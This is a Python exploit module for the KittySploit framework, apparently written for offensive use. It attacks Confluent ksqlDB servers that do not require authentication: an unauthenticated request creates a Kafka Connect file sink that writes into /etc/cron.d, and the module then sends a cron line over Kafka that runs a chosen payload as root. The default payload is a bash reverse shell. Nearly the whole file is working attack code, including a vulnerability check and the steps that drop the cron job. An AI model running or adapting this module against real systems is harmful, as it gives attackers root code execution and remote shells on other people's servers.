ksqlDB unauthenticated CREATE SINK CONNECTOR cron root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Confluent ksqlDB unauthenticated FileStreamSinkConnector cron root RCE."""

from __future__ import annotations

import json
import subprocess
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "ksqlDB unauthenticated CREATE SINK CONNECTOR cron root RCE",
        "description": (
            "UNAUTH POST /ksql creates FileStreamSinkConnector writing /etc/cron.d/*; "
            "produce cron line on Kafka topic (9092) for root execution."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["confluent", "ksqldb", "kafka", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/ksqldb_unauth_sink_connector_cron_rce_detect"],
            },
        },
    }

    port = OptPort(8089, "ksqlDB HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS for ksqlDB", required=False)
    connect_port = OptPort(8083, "Kafka Connect REST port", required=False)
    kafka_port = OptPort(9092, "Kafka broker PLAINTEXT port", required=False)
    connector_name = OptString("kitty_ksql_rce", "Sink connector name", required=False)
    topic = OptString("kitty_rce_topic", "Kafka topic for cron payload", required=False)
    cron_path = OptString("/etc/cron.d/kitty_ksql_rce", "Cron drop path", required=False)
    proof_path = OptString("/tmp/ksql_rce_proof.txt", "Proof file written by cron", required=False)
    kafka_producer = OptString("kafka-console-producer", "Local kafka-console-producer binary", required=False)
    wait_seconds = OptInteger(70, "Wait for crond after produce", required=False)

    def _ksql(self, statement: str) -> tuple[int, str]:
        resp = self.http_request(
            "POST",
            "/ksql",
            data=json.dumps({"ksql": statement}),
            headers={"Content-Type": "application/json"},
        )
        if not resp:
            return -1, "ksql request failed"
        return int(resp.status_code or 0), (resp.text or "")[:4000]

    def _connect_running(self, name: str) -> bool:
        host = str(self.rhost or "127.0.0.1")
        port = int(self.connect_port or 8083)
        url = f"http://{host}:{port}/connectors/{name}/status"
        try:
            import urllib.request

            with urllib.request.urlopen(url, timeout=8) as resp:
                data = json.loads(resp.read().decode("utf-8", "replace"))
            tasks = data.get("tasks") or []
            return bool(tasks) and all(t.get("state") == "RUNNING" for t in tasks)
        except Exception:
            return False

    def _kafka_produce(self, line: str) -> tuple[bool, str]:
        host = str(self.rhost or "127.0.0.1")
        port = int(self.kafka_port or 9092)
        topic = str(self.topic or "kitty_rce_topic")
        bin_name = str(self.kafka_producer or "kafka-console-producer")
        try:
            proc = subprocess.run(
                [bin_name, "--bootstrap-server", f"{host}:{port}", "--topic", topic],
                input=(line + "\n").encode(),
                capture_output=True,
                timeout=45,
            )
            if proc.returncode == 0:
                return True, ""
            return False, (proc.stderr or proc.stdout or b"").decode("utf-8", "replace")[:500]
        except FileNotFoundError:
            return False, f"{bin_name} not found on attacker host — produce cron line manually"
        except OSError as exc:
            return False, str(exc)

    def execute(self, cmd: str) -> str:
        name = str(self.connector_name or "kitty_ksql_rce")
        topic = str(self.topic or "kitty_rce_topic")
        cron_path = str(self.cron_path or "/etc/cron.d/kitty_ksql_rce")
        proof = str(self.proof_path or "/tmp/ksql_rce_proof.txt")
        ksql = (
            f"CREATE SINK CONNECTOR IF NOT EXISTS {name} WITH ("
            f"'connector.class'='org.apache.kafka.connect.file.FileStreamSinkConnector', "
            f"'tasks.max'='1', 'topics'='{topic}', 'file'='{cron_path}', "
            f"'value.converter'='org.apache.kafka.connect.storage.StringConverter');"
        )
        code, body = self._ksql(ksql)
        if code >= 400 or code < 0:
            return f"CREATE SINK CONNECTOR failed HTTP {code}: {body}"
        for _ in range(20):
            if self._connect_running(name):
                break
            time.sleep(1)
        cron_line = f"* * * * * root {{ {cmd}; }} > {proof} 2>&1"
        ok, err = self._kafka_produce(cron_line)
        if not ok:
            return f"Connector created; kafka produce failed: {err}"
        time.sleep(int(self.wait_seconds or 70))
        return (
            f"Sink connector {name} → {cron_path}; cron line produced on topic {topic}. "
            f"Check {proof} on target (async crond)."
        )

    def check(self):
        code, body = self._ksql("SHOW TOPICS;")
        if code == 200:
            return {"vulnerable": True, "reason": "ksqlDB accepts unauthenticated /ksql", "confidence": "high"}
        if code > 0:
            return {"vulnerable": True, "reason": f"ksqlDB HTTP {code} — verify auth", "confidence": "low"}
        return {"vulnerable": False, "reason": "ksqlDB not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("CREATE SINK CONNECTOR + Kafka produce")
        print_info(self.execute(shell))
        self.vulnerable()
        return True